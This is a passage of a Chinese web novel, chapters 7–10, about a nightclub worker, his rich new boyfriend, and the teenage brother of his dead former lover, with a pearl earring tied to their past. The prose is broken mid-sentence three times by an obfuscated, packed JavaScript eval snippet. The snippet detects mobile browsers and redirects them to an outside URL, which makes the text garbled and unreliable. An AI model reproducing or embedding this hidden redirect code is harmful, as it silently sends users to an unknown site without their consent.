《被初恋情人的弟弟缠上了》 7. 耳坠 云昭至的目光瞬间投了过去,见状贺彦骁也只能把原本想说的话咽下。 看见梁旭铭,贺彦骁就不自觉想起上次看见的那个眼神。 说不清心里是什么想法,下一秒他鬼使神差掰过云昭至的脸,在那被已经蹂躏到不成样的红唇上亲了亲,声音温和:“男朋友,明天下班等我去接你。” 云昭至瞪大了双眼,怎么也没想到他会当着梁旭铭的面亲他。 他虽然没有对梁旭铭遮掩过自己的职业,但也从来没有当着梁旭铭的面和别人亲密过,梁旭铭才多大,影响太不好了。 从他这个角度望过去,梁旭铭浑身都淹没在黑暗中,看不清神色,整个人都仿佛要与背后的阴影融为一体。 贺彦骁离开后,云昭至犹豫了几秒才提步朝梁旭铭走去。 意外的是梁旭铭什么都没说,沉默着和他肩并肩地往楼上走。 楼道的灯坏了还没来得及修,黑暗中云昭至感受到身旁人黑压压的气势,忽然对梁旭铭“快成年了”有了实感。 按照梁旭铭现在的长高速度,估计过不了多久就要比他还高了。 云昭至的身高是一米七八,算不上特别高,但也称不上矮,他一直以来对自己的身高都不怎么满意,一想到梁旭铭以后会比自己高更是忍不住生出几分郁闷。 进门的时候他无声地叹了口气,先一步进门的梁旭铭就像后脑勺上长了眼睛一样突然开口:“叹什么气?” 没等云昭至回答,梁旭铭又继续头也不回道:“交了新男朋友还不开心?” 如果再听不出话里的阴阳怪气,云昭至那么多年也是白混了,他冷下脸坐到沙发上:“好好说话。” 梁旭铭咬牙和他对视着僵持了几秒,最后还是蹲下身像往常一样给他穿拖鞋,声音像是从嗓子眼里挤出来的:“你是不是和今天送你回来的那个男人在一起了?” 云昭至被他抓奸一样的语气搞得心里不满,秀气的眉轻轻蹙起,冷声道:“是。” 梁旭铭低着头,拳头紧握,脑子里满是刚刚看见的画面。 高大强壮的男人俯身在大美人的唇上落下一吻,多么甜蜜,多么般配。 梁旭铭恨不得直接冲上去给那个男人一拳,但最后还是忍住了。 虽然他从来没有亲眼见过云昭至接待客人,但也知道云昭至的客人基本上非富即贵,他那一拳打上去要是只有他自己承担后果也就罢了,怕就怕会连累云昭至。 梁旭铭再一次在心里唾弃自己的无能。 喉咙里涌现出淡淡的铁锈味,他低声问:“你喜欢他吗?” 云昭至没有看出面前人濒临疯狂的神志,想了一下开口回答:“还行吧,他那么有钱,对我也还行。而且今天他那么多朋友都在,我要是拒绝了他多下不了台。” “所以是因为他有钱?”梁旭铭死死地盯着他。 云昭至淡淡地看了他一眼,忽然笑了一下:“当然不只是因为这个,不过你要明白一点,我是喜欢他的人还是喜欢他的钱,对他来说没有区别,因为他会一直有钱。” 梁旭铭几乎是有些急切地询问:“那你们会一直在一起吗?” “说不定呢,这谁说的准。” 云昭至的语气漫不经心,好像并不觉得这是什么大不了的事情。 如同被一桶冷水当头泼下,梁旭铭浑身的血液都凉透了,如果云昭至真的要和那个男人在一起一辈子,自己怎么办? 等云昭至有了新的恋人,新的生活,是不是就会顺理成章抛弃他? 毕竟云昭至本来没想收留他,是他死缠烂打。 他忽然想起那个男人看自己的眼神,这时候的他还不懂什么是看情敌的眼神,只是本能觉得那种目光不怀好意。 那个男人肯定也不会允许云昭至一直带着他的。 “你们以后,会住在一起吗?” 梁旭铭忽然问。 云昭至从桌上的果盘里拿了一瓣掰好的橘子,吃下去以后皱了皱眉:“好酸。” 随后他才抬头看向梁旭铭,语气依旧是和刚刚别无二致的随意:“说不定呢。” 脑海中紧绷的弦瞬间断掉,被抛弃的恐惧几乎要将梁旭铭淹没,他口不择言地控诉:“你把我哥忘了吗?” 他不想这样说的。 他能感觉到云昭至对自己哥哥的特殊,虽然他暂时搞不清那点特殊的来源,也嫉妒那点特殊,此刻却还是卑劣地想通过逝去的人挽回一点云昭至的心。 下一秒他左脸一痛,云昭至给了他一记耳光。 这是云昭至同意收留他后第一次打他。 云昭至气得手都在抖,想扇第二个巴掌的时候对上了梁旭铭不敢置信的目光,扬起的手忽然就停在了半空中。 理智后知后觉地回归,他看着梁旭铭左脸上醒目的巴掌印有些后悔,自己何必和一个孩子计较。 就算快成年了,不也依然比自己小那么多? 云昭至的胸膛上下起伏着,好不容易才喘上气,眉眼如霜:“我早就和你哥分手了,非要说,当初分手也不是我对不起他。” 不知为何,说到最后一句话时他感觉鼻尖久违地发酸。 可能是被气的。 害怕自己继续留下情绪会彻底失控,云昭至说完话就直接转头回了房间。 KTV的包间里灯光闪烁,五颜六色的射灯在墙上旋转,喧闹声不绝于耳,歌声、笑声、碰杯声此起彼伏。 十七岁的云昭至坐在最中间的位置,忽明忽暗的灯火映照出他精致的面容。 “小云生日快乐!” 不知道谁喊了一声,随后各种祝福纷至沓来。 “吱吱生日快乐!” “生日快乐啊小昭。” …… 云昭至笑得嘴都要僵了,余光瞥见身旁的男人在偷笑,佯怒着往男人的肩膀上锤了一下。 “错了错了,轻点轻点。”男人很配合地求饶,眼睛里全是笑意。 云昭至瞪了男人一眼:“我根本没用力。” 他的眼眸盛着光,眼波流转间分外动人,这一瞪只让人觉得勾魂摄魄,半边身子都酥了。 当年的一幕幕犹在眼前,云昭至直到这一刻才确认,原来自己从未遗忘。 梁骁和对他表白的这天是他的十七岁生日,他平时没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299251|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少朋友,自从老人生病后也没再过过生日。 但是梁骁和提前了很久筹备,请了很多同学朋友去KTV一起给他庆生,俨然一副正牌男友的样子。 那时候两个人还在暧昧期,因为没有刻意隐瞒,所以周围人也都多少能看出来,自然也乐意至极。 这是云昭至过得最热闹的一个生日。 在KTV里,大伙一起唱完生日歌吃完蛋糕,快要结束的时候梁骁和突然站起身,手里握着麦克风:“下一首歌,我想唱给今天的寿星。” 下一首歌是《江南》。 前奏声太过熟悉,哪怕是在梦里也让云昭至有一种想要落泪的冲动。 ——“爱有万分之一甜 宁愿我就葬在这一点……” 梁骁和唱歌时一直盯着他,眼神专注而温柔。 周围人全都在起哄,云昭至抬眸望着,目光中好像也只剩下了那一个人。 ——“相信爱一天 抵过永远 在这一刹那冻结了时间……” 唱完以后梁骁和看着云昭至笑,声音通过麦克风传出:“吱吱,能给我一个以男朋友的身份照顾你的机会吗?” 话还没说完脸就红透了,但他依然站在台上,双眼发亮地等待云昭至的回复。 有朋友起哄喊了一句:“不是男朋友就不照顾了吗?” 在人仰马翻的笑闹声中,梁骁和看着云昭至,神色认真:“当然不是,是不是男朋友我都会对你好,只是我喜欢你,所以想当你男朋友。” 云昭至笑着看他们闹,璀璨的光线下给人一种眼底水汪汪的错觉,他说:“好。” 这时候的云昭至刚开始当卖酒员没多久,尽管有见识过灯红酒绿,但还没有亲身参与过,也就还没有后面的轻车熟路游刃有余。 他脸红红地走上前,在震耳欲聋的喧闹声中亲了一下梁骁和的脸。 梁骁和欣喜若狂,把他抱起来原地转了一圈。 起哄声几乎要掀翻房顶,气氛热闹得连空气都在颤抖。 云昭至找到其中一个相熟的朋友,脸上带着止不住的笑:“别拍了。” 然后过了几秒又说:“发我一份。” “什么?”朋友佯装无辜,把手背到了身后。 云昭至眉眼弯弯,眸光如水般透亮:“视频啊,我知道你一直在拍。” 后来他把视频里梁骁和唱歌的那一段单独保存下来放在手机的隐藏相册里,哪怕分手后换手机,也鬼使神差转移了过去。 结束以后和其他人在路口分别,忽然间只剩下他和梁骁和两个人。 四目相对,云昭至的心跳快了几拍。 梁骁和变戏法般掏出一个礼物盒:“给,你的生日礼物。” 云昭至瞪大双眼,有些惊讶。 不只是因为这是他第一次收到老人以外的人送的生日礼物,也是因为前面梁骁和又请吃饭组局又送花,他以为那些已经算礼物了。 但是梁骁和却笑着说:“那些是表白的布置,这个才是礼物。” 当晚回到家后云昭至便迫不及待地打开礼盒——里面赫然是一对珍珠耳坠。 8. 恋爱 云昭至猛地从睡梦中惊醒,下意识伸手摸了摸床头放着的那枚珍珠耳坠。 梦里的那一对珍珠耳坠,如今只剩下了一枚。 云昭至捂住心口,不知为何有种喘不上气的感觉。 他下床走到窗边,外面灰蒙蒙一片,白日的所有喧哗都埋葬在寂静的夜晚里。 冰凉的晚风吹起他脸颊两侧的碎发,房间里没有开灯,他在黑暗中打开门,刚走出去一步就感觉脚边似乎有什么东西。 云昭至心头一震,低下头看见一道黑影正悄无声息地靠在墙边,脸上的巴掌印因为没有处理所以更加红肿。 他下意识拿出手机看了一眼时间,现在是凌晨五点。 梁旭铭就这样在他的房间门口坐了几个小时。 为了省电,云昭至起夜喝水时都不会开灯,这次他犹豫了几秒,还是和往常一样摸黑去倒水,好像全然没有看见门边昏睡的人。 客厅里很安静,从水壶倒出水来的声音也就格外明显。 门边熟睡的人眼皮动了动,但云昭至没有发现。 直到他喝完水准备回房间,刚走到门口就被抱住了腿。 云昭至挣了几下,竟然还没挣脱掉。 梁旭铭不知哪来的力气,死死抱着他不松手,刚睡醒声音里还带着点哑:“昭至哥。” 云昭至停下动作,黑暗遮掩住他苍白的脸色。 梁旭铭在喊了他一声后也陷入了沉默,他本身就少言寡语,此刻更是喉咙干涩,一句话也吐不出来。 两个人一时之间僵持在这,耳边安静得只剩下微弱的风声。 不知道过了多久,云昭至平静的声音忽然响起:“……你该去上学了。” 梁旭铭听出他语气中的疏离,双眼一暗,几秒后还是松开了手,一步三回头地走向厨房。 他每天出门前都会提前做好饭并放到蒸锅里保温,以保证云昭至睡醒后能吃上热乎的饭菜。 云昭至在解除禁锢后便立刻进房间锁上门,没有回头看过一眼。 这一次他没有再做梦。 再次醒来时梁旭铭已经去学校了,客厅里空荡荡的,温暖的阳光打在沙发上。 云昭至随手把耳坠戴在右耳,左耳的耳洞只拿了个透明耳塞堵着。 在拿起那枚小皇冠发卡时他动作顿了顿,最后还是放了回去。 收到贺彦骁的电话时他才想起,昨天贺彦骁说今天来接自己去上班。 被梁旭铭闹了一通,他都快把贺彦骁忘到了脑后。 贺彦骁的家里很有钱,他本人虽然没有实权,但荣华富贵一辈子不成问题。 所以在云昭至被他大张旗鼓地送到会所门口时,同事们都神色各异。 仅仅一个晚上,贺彦骁对云昭至表白的事情就传遍了。 很多人都觉得云昭至是攀上高枝了,在他上班的时候不少人来打趣他,偶尔也有嫉妒来阴阳怪气的。 就连一向两耳不闻窗外事的常弛都主动来问他:“你谈恋爱了?” 常弛是这里的保安,在这干的年份比云昭至还久。 “怎么你们全都知道了。”云昭至状似无奈地叹了口气。 常弛皱着眉,满脸怀疑:“你真收心了?那你不会辞职吧。” 说话时他靠着门,壮硕的身体完全挡住了云昭至出去的路。 毕竟没有几个人能容忍对象在这种地方工作,贺彦骁对云昭至明显也不只是玩玩而已。 云昭至神色不变:“不会。” 也不知道回答的是第一个问题还是第二个问题。 常弛板着脸:“你小心别把自己玩进去了。” 他长了一张国字脸,面无表情的时候看起来很正直,完全看不出是在夜总会当保安的。 云昭至知道他是担心自己,也没有过多解释,只是笑着安抚:“别担心,我有分寸。” 不知道是不是因为他谈了恋爱的原因,今天来找他的客人都没有往日多,但哪怕少了一些人也依然算得上宾客盈门。 晚上贺彦骁家里有事,没有来接他。 云昭至照例乘坐最后一班地铁回家,一开门就闻到了一股香甜的奶油味。 他饿了大半天,胃里当即就开始泛酸。 云昭至扭头,看见桌上放着一个蛋糕盒。 梁旭铭身上还穿着校服,看见他双眼一亮,立刻殷勤地凑上前。 云昭至恍惚间有种自己养了条狗,在自己下班后摇着尾巴舔上来的错觉。 下一秒他又想起梁旭铭昨晚说的话,脸色立刻冷了下来。 梁旭铭的眼底划过一丝受伤,面上却没有显露出半分,笑着地把云昭至带到餐桌前。 掀开蛋糕罩,蓬松的麦香瞬间裹挟着草莓的酸甜气息甜而不腻地漫开。 “昭至哥。”梁旭铭小心翼翼地喊了一声,看他没有表现出排斥才继续道:“昨晚我说错话了,我……” 他咽了一下口水,才把后半句话挤出去:“我不应该干涉你谈恋爱。” 说话时他低着头,半张脸淹没在阴影里。 云昭至吃了一口蛋糕,草莓的酸甜在舌尖化开,脸色也缓和下来。 看在梁旭铭认错态度诚恳,还买了他最爱吃的草莓蛋糕赔罪的份上,他大方地决定不再追究。 梁旭铭刚想继续认错,抬头时却愣了一下:“你今天怎么没戴我送你的那个发卡?” 语气里的委屈让人无法忽视。 云昭至不耐烦地抬起头,在看见他脸上的淤青时心口又微微颤了颤。 经过一天,梁旭铭脸上的红肿已经逐渐消退,但残留的巴掌印依旧明显。 注意到云昭至的目光,梁旭铭主动开口解释:“我在学校有戴口罩,没人发现。” 谁问这个了。 云昭至把头侧到一边,声音依旧冷冰冰的:“你想为你哥抱不平我管不着,但再有下次你就滚出我的家。” 他刻意加重了后三个字,像在告诉梁旭铭这里并不是对方的家。 更难听的话也不是没有说过,可这次说完后他的心口却泛起细密的不适感。 梁旭铭猛地抬起头,目光直直射到云昭至的脸上:“我没有为我哥抱不平!” 云昭至冷笑一声,还没来得及开口就听见了对方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299252|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一句话: “我只是怕你有新的恋人以后就不要我了。” 梁旭铭想尽量平静地把这句话说出口,却还是控制不住的嘴唇发抖。 他不知道云昭至同意收留自己有几分是因为自己哥哥——尽管云昭至总是表现的非常恨梁骁和,但他知道,那不只是恨。 在他刚住进来的第一年,梁骁和忌日那一天,云昭至请了一整天的假。 他看见云昭至一直盯着梁骁和的碑位发呆,十四岁的他问出了一句话:“你爱我哥吗?” 他本来其实以为云昭至对梁骁和没多少感情,毕竟听到梁骁和的死讯后云昭至表现得那么冷漠。 当时云昭至也确实这样回答:“不爱。” 在短暂的沉默后他又补了一句:“只是忘不掉。” 梁旭铭愣住了。 说完这句话后云昭至就扭头看向他,眼睛里满是他看不懂的情绪,嘴角却勾起一抹恶劣的弧度:“不然你以为我为什么会允许你留下?” 十四岁的梁旭铭没有完全听懂,却大概察觉到云昭至能松口收留自己也有梁骁和的原因。 所以他希望云昭至一直一直记得梁骁和,永远不要爱上其他人。 这样自己也就能一直留在云昭至的身边。 这是他本来的想法。 但不知道从什么时候开始,他想到云昭至对梁骁和的特殊会情不自禁觉得嫉妒。 这时候梁旭铭只以为是因为自己把云昭至当做了唯一的亲人,才会也想要云昭至最看重自己。 云昭至没想到梁旭铭会这么说,有些啼笑皆非:“说什么傻话。” 他顿了一下,继续道:“你也快成年了吧,到时候估计都轮不到我要不要你,你自己就巴不得跑得十万八千里远……” “不会!”梁旭铭急得头顶都要冒火,看着他一字一句分外认真:“你是我唯一的家人,我一定会带你过上好生活。” 在夜场混迹多年,云昭至不知听过床上床下多少承诺,在这一刻却还是被梁旭铭眼底近乎偏执的执拗惊到了。 几秒后他才反应过来,满不在乎地笑了笑:“随便你怎么说吧,以后的事谁说的准呢。” 梁旭铭看他这副不在意的模样看的心焦,却又不知道怎么样才能让对方信服。 他现在什么都没有,什么都保证不了。 最后云昭至还是没有正面回答会不会因为有新的恋人就不要他,他怕云昭至生气,也只能把不安藏在心底。 云昭至小口小口地吃着蛋糕,惬意得眼睛都微微眯起来,梁旭铭在一旁看着,觉得他这副样子很像一只小狐狸,仿佛连尾巴尖都透着懒洋洋的满足劲儿。 梁旭铭舔了舔嘴唇,忽然一阵口干舌燥。 等云昭至吃完,他再次讨好地开口:“我买了草莓味的酸奶,放在冰箱里了,你要喝吗?” 云昭至喜欢吃草莓,也喜欢草莓味的一切,梁旭铭隔三差五就会买些回家。 云昭至漫不经心地走过去打开冰箱看了一眼,浑身顿时僵住了。 手指尖都在发凉,他白着脸沉声问:“谁让你买这个了?” 9. 疤痕 梁旭铭被他苍白的脸色吓了一跳:“这个酸奶怎么了吗?” 他有些摸不准云昭至生气的原因,是因为酸奶的牌子吗?还是因为别的什么? 云昭至抓着冰箱门的手收紧,双唇微张似乎想说些什么,最后却什么也没说出口。 “我看这个牌子挺火的,好评也多,就想着试一试……”梁旭铭还在解释。 没等他说完,云昭至就“碰”地关上了冰箱门,一言不发地回了卧室。 客厅里梁旭铭在短暂的手足无措后走过去贴着门试探着轻哄:“我下次买其他牌子的,这次的你不想喝就我拿去喝完好不好?” 门里安安静静的,好像里面根本没有人一般,梁旭铭不敢走,不然云昭至会更生气。 所以只能一直蹲在门口。 在梁旭铭住进来第一天云昭至就告诫过他自己脾气不好,在这几年里他也真切感受到云昭至并不是夸大其词。 从一开始的慌乱到现在能够娴熟应对把人哄好,梁旭铭花费了两年时间。 不知道过了多久,里面终于传来声响。 门没有开,是云昭至抬手在门上敲了两下。 梁旭铭知道意思是同意了自己刚刚说的方案,在心里松了口气。 总算是哄好了。 凌晨三点,梁旭铭起夜出来时看见云昭至在看电视。 电视机的音量很小,云昭至穿着睡衣半躺在沙发上,美艳的五官在电视机忽明忽暗的光线中显得缱绻而温柔。 夜晚的凉风拂过,梁旭铭忽然想起自己刚住进来的时候。 平日里再怎么故作成熟他到底也才十四岁,刚经历了重大变故很难保持内心平静,所以刚住进来的那段时间他几乎每天晚上都会做噩梦。 梦里父母和哥哥染血的面孔交织在一起,让他整日整夜无法安睡。 他当然是没有看见事发时的场景的,不管是火灾还是车祸发生时他都不在现场。 但这并不妨碍他一次次在深夜中惊醒,心悸到无法入眠。 那时候云昭至下班和现在一样晚,凌晨通常不是补觉就是看电视,偶尔也会和朋友出去喝酒。 所以在梁旭铭睡不着出来的时候,刚好能撞见云昭至在客厅看电视。 这时候的云昭至穿着睡衣,没有平日的冷漠和盛气凌人,身上透出一种令人安心的气息。 看见梁旭铭出来,他也不会和白天一样冷言冷语,有时候只是淡淡看一眼,有时候则是会对他勾勾手指,像是在招小狗。 云昭至从来没有主动问过,却好像对梁旭铭大半夜不睡觉的原因心知肚明。 这时候梁旭铭就会蹭上前一边观察他的神色一变把头埋到他的胸口,像是还在哺乳期的孩子,又像是黏着主人的宠物。 云昭至身上的味道很好闻,白天残留的香水味和草莓味的沐浴露混合成了有一点玫瑰味的蜜香,温暖柔和又不失强势。 十四岁的梁旭铭就在这种香气的包裹下慢慢合上了双眼。 可以说有很长一段,他都要闻着云昭至身上的味道才能睡着觉。 此刻客厅没有开灯,梁旭铭在电视机闪烁的亮光中走到茶几旁边弯下腰倒水。 云昭至往他脸上随意一瞥,秀气的眉瞬间蹙起:“你脸上没涂药?” 梁旭铭下意识摸了摸左脸,一天过去已经消了肿,但还是有淤青残留。 “忘了。” 云昭至盯着他,漆黑的眼眸在昏暗中显得格外明亮:“药在洗漱台的柜子里。” 客厅里安静了几秒,梁旭铭才在面前人的注视下不情不愿地转身:“我现在去涂药。” 说是这么说,他却没有立刻涂药,而是沉默地盯着镜子里自己脸上的巴掌印。 一开始当然是痛的,云昭至那一巴掌用了很大力气,足以可见气得不轻。 起初梁旭铭觉得难过,云昭至打他比伤口本身更让他难受。 后来,他却开始一次次回想云昭至在听见自己说出那句话时的神色。 除了愤怒和震惊,似乎还有点别的什么。 那点说不清道不明的情绪出现的很短暂,却让他在每次回想起来时心口都会如同被针扎一样,还会泛起细细密密的闷。 这种感觉他并不陌生,和他每次看见云昭至醉醺醺回来时身上有大大小小的伤口时是一样的感觉。 所以他想,他好像真的说错话了。 ——“你把我哥忘了吗?” 睡前云昭至再次想起这句话。 梁旭铭并不知道自己气上头的质问此刻在云昭至脑海中反复循环,如同甩不掉的阴影。 但随后云昭至想起的却是另一件事,和梁旭铭买的草莓味酸奶有关的事。 他并不是一开始就喜欢草莓味的,或者说他本来根本没有自己喜欢什么味道的概念。 高中时梁骁和每天早上都会在家里附近的小卖部买酸奶带去给他喝,又通过观察发现他最喜欢草莓味的酸奶,于是就固定给他买这一种口味。 那家小卖部只进一个牌子的酸奶,梁骁和每天都去买,一天也没有断过。 直到分手的前一天,他依旧在那家小卖部买了同一个牌子的酸奶给云昭至。 分手后云昭至依然经常喝草莓味酸奶,只不过变成了自己买,只不过再也没有喝过之前的那个牌子。 他不觉得自己是旧情难忘,只是不想在每次喝酸奶时都想起那个人。 可是问题真的是出在酸奶的牌子上吗? 云昭至从来都很清楚,所以也一直在清醒地自欺欺人。 元旦后没多久就是期末考,梁旭铭很快就迎来了寒假假期。 云昭至是没有寒假的,每年只有过年那几天有假。 因为那几天有三倍加班费,所以往年他都会继续上班——毕竟他没有亲人,也就不需要“回老家”过年。 但自从收留梁旭铭以后就不同了,梁旭铭总是会缠着他要他回家过年,晚上也能吃上团圆饭。 每年年后梁旭铭都会找一天去祭拜父母和哥哥,今年也一样。 云昭至没有陪他去过,一次也没有。 梁旭铭回来的时候,看见云昭至在阳台吞云吐雾。 云昭至是会抽烟的,但他很少抽,基本上只有工作需要时会抽一根。 听见动静他侧头看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299253|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唇间衔着烟雾袅袅的香烟。 最近梁旭铭的身高突飞猛进,短短几个月就窜了一大截,已经快要与他持平了,站在身边很有压迫感。 风将飘在他脸上的烟雾吹散,明艳的五官在昏黄的光线下透出惊心动魄的美。 云昭至眯了眯眼:“你以后不会长到一米九吧?” 说话时他指尖夹着的烟还没有掐灭,忽明忽暗的星火丝丝缕缕缠绕上来。 梁旭铭不退反进,几乎要贴到云昭至身上:“我高一点不好吗?可以把你整个人抱起来。” 云昭至睨他一眼,唇角带笑:“我要你抱干什么?” 他话锋一转:“也不是说你长高了不好,就是觉得再高我都要抬头看你了。” 刚抽过烟的嗓音暗哑,从心底淌过时激起点点涟漪。 离得太近,梁旭铭目光一凝。 他忽然发现,云昭至左耳上有道很浅的疤痕。 疤痕陈旧曲折,像蜿蜒的溪流,看不出具体是怎么伤的,但能看出当时肯定伤得很重。 他是这么想的,也就直接问了:“你耳朵上受过伤?” 云昭至上扬的嘴角一僵,唇线浅绷,低下头微微张唇吸了一口烟,精致的眉眼在烟雾中晦暗不明。 没有得到答案梁旭铭也不着急,他直勾勾地盯着那咬着烟的唇齿,胸膛里忽然涌现出一股冲动。 大脑还没反应过来,他已经伸手抢过烟放到自己嘴里。 下一秒—— “咳咳咳……” 梁旭铭弯下腰呛地直咳嗽,眼睛都红了。 云昭至垂眸看着他,没有阻止也没有安抚,卷翘的睫毛下目光冷漠。 视线范围内白雾缭绕,烟味对他来说就像夜总会里的香氛味,熟悉,致幻。 有的客人抽烟的时候想要人陪自己,会让他也拿一根,有时候还会让他帮忙点烟;也有的客人以为他没抽过烟,会恶劣地想看他被呛到咳嗽的狼狈模样。 不管哪一种云昭至都能应付自如。 他不是第一次抽烟,但他可以演出来满足后者的恶趣味,客人高兴了,他能拿到的钱也就更多。 现在看见梁旭铭咳地那么厉害,连眼泪都出来了,他忽然想,自己演的时候真的像吗? 那些客人是真的没看出来,还是看出来了但是不在乎呢。 云昭至漫不经心地想。 也可能是单纯想看他为了讨好自己故意装作第一次吧。 好不容易把气捋顺,梁旭铭双眼赤红,瞳孔里倒映出那点明明灭灭的星火,声音执着而沙哑:“你耳朵上的伤和你只戴一边耳坠有关吗?” 云昭至把烟拿了回来,这次掐灭了没有继续抽,他望着窗外的景色低声道:“别瞎猜。” 一道炙热的目光从他的眉眼掠过,身边人沉默了一会儿忽然说:“有件事我一直没有告诉你。” 云昭至不以为意:“什么事?” 盯着面前人那又细又密的睫毛,梁旭铭深吸一口气才缓缓开口:“据说我哥死的时候手心里一直攥着一枚珍珠耳坠,刺都扎进掌心里了,一手的血。” 那枚耳坠,和你有关系吗? 10. 约会 刹那间云昭至脑子里“嗡”地一声一片空白,耳边的所有声音都消失了。 短暂的失聪后他又觉得是自己想多了,哪有那么巧合的事情。 这款珍珠耳坠的样式那么大众,梁骁和后面从新的爱人或者是其他途径得到了也说不定。 怎么可能会是当年那枚呢? 怎么可能呢。 云昭至感觉脸上的肌肉在轻微发着抖,开口时声音却是平静的:“你为什么突然告诉我这个?” 他甚至笑了笑:“这和我有什么关系呢?” 梁旭铭喉结滚了滚,声音干涩:“我看见你耳朵上的伤,突然想起来的。” 其实不止。 这两年云昭至不怎么想提梁骁和,梁旭铭也就识趣地不说。 但是最近不知为何,他越来越好奇云昭至和梁骁和的过去,总是忍不住开口试探,然后观察云昭至的反应。 他自己都不知道自己想要看见的是什么样的反应。 是想要看见云昭至把梁骁和忘了开始新生活吗?并不是,他最害怕的就是这样,他害怕云昭至彻底把梁骁和忘了,然后连同自己这个梁骁和的弟弟也被他抛弃。 那是想看云昭至对梁骁和旧情难忘吗?也不是。 人死不能复生,他不想看见云昭至难过。 所以他想看见的到底是什么呢? 梁旭铭一直是个很聪明的人,他专注有耐心,不管是学业还是课余任务都能完成的十分出色,这是他第一次碰上解不出的谜题。 云昭至最后没有再说什么,像什么也没发生一样回房间了,徒留他一个人在原地陷入思维的混乱。 春天来的时候,回南天也跟着来了。 家里到处都是潮湿的水汽,怎么擦都擦不干,空气清凉而湿润。 这几天出门时云昭至都会戴上口罩,他对特定的粉尘过敏,在万物复苏的时候很容易过敏性感冒。 因此,贺彦骁特意把约会地点定在了室内。 确定恋爱关系后贺彦骁对云昭至更大方了,为他花的钱不仅没有比之前少反而还多了很多,还成天都想带云昭至出去玩。 云昭至并不是每天都去会所的,夜场的工作时间其实相对自由,只是得到的钱不同。 所以在不去上班的时候,他就会和贺彦骁出去约会。 “你谈过几次恋爱?” 问出这句话时贺彦骁坐在按摩椅上,眼睛盯着电影屏幕,好像只是随口一问。 云昭至思考几秒,觉得在这个问题上对方应该不想听自己撒谎,于是闷闷回答:“两次。” 贺彦骁扭头看了他一眼:“你怎么还戴着口罩?” “习惯了。” 云昭至不是第一次被带来这家私人影院,却依旧闻不惯包间里的香薰味,他也并不主动提。 上一次贺彦骁说的“平等论”他没有当一回事——有些差距不是嘴上说说就能解决的。 他能看出贺彦骁确实是认真和自己谈的,不然也不会说出那么可笑的话。 但贺彦骁所说的平等是想要他能够接受自己给予的一切,并不是给他选择的权力。 所以身份的转变并没有让相处模式有太大变化,云昭至心里很清楚现在的浓情蜜意只是一时的,先不提贺彦骁能对他保持多久的兴趣,就算感情上真能长久,贺彦骁家里也不会同意他和一个男人结婚。 现在不管,只不过是觉得玩玩而已。 贺彦骁又拐回原来的话题:“你不用骗我,我知道很多人都会在对象问谈过几次时说两次,我不介意你的过去,只是希望你能坦诚。” 云昭至就知道他不信,幽幽一叹:“我没骗你,真的是两次。” “好好好,你不想说就算了。”贺彦骁宠溺地揉了揉他的耳垂,把他脸上的口罩摘下来,眼底透着炙热的占有欲:“只要你的心里以后都只有我一个,以前的事我都不计较。” 明显还是没有相信。 云昭至无奈笑笑,没有继续反驳。 不信就不信吧,反正贺彦骁的话他也半个字都没信。 男人嘛,嘴上说着不在意过去,心里多少其实还是介意的。 不过他这次说的还真是真话,流连夜场多年,他有过身体关系的不少,但正儿八经确认恋爱关系的确实只有两个,其中一个还只是谈着玩的。 ——“不拖手或者都可堪称热恋……一拖手比咳嗽更短……”① 说曹操曹操到,这不,前男友打电话过来了。 刚响两声云昭至就点了挂断,手机铃声戛然而止。 贺彦骁还是看见了备注名,一字一顿念了出来:“李、轩、览。” 他盯着云昭至的眼睛笑了一下:“宝贝儿,这是谁啊?怎么挂了?” 云昭至不慌不忙地收起手机,对上他的目光平静:“大学舍友。” 贺彦骁不依不饶:“只是大学舍友吗?那你怎么挂断了?不听听别人要说什么?” 他的语调漫不经心:“不会是你之前的客人吧?是我占用你时间了?” 云昭至在心里叹了口气。 刚好提到李轩览对方就打电话过来,他一时之间有种说不明的心虚,才会在脑子还没反应过来时手就下意识挂了电话,谁知道反而惹了贺彦骁的怀疑。 贺彦骁越说越来劲,意有所指道:“铃声还挺好听呢。” 云昭至微微蹙起眉:“你在怀疑我吗?” 说话时他一双漂亮的水眸蓄着委屈的怒意,精雕玉琢的眉眼透出百媚横生的嗔怒,眼下一点泪痣堪称活色生香。 贺彦骁心口一软,视线瞬间黏在对方身上挪都挪不动。 云昭至垂下眼帘,乌黑的睫毛如鸦翅般颤动:“我的手机铃声就是这首歌,谁打都一样,不信你现在打给我。” 他的嘴唇倔强地抿着,唇瓣殷红,愈加显得楚楚可怜:“我只是不想在和你约会时接别人的电话……你不信就算了。” 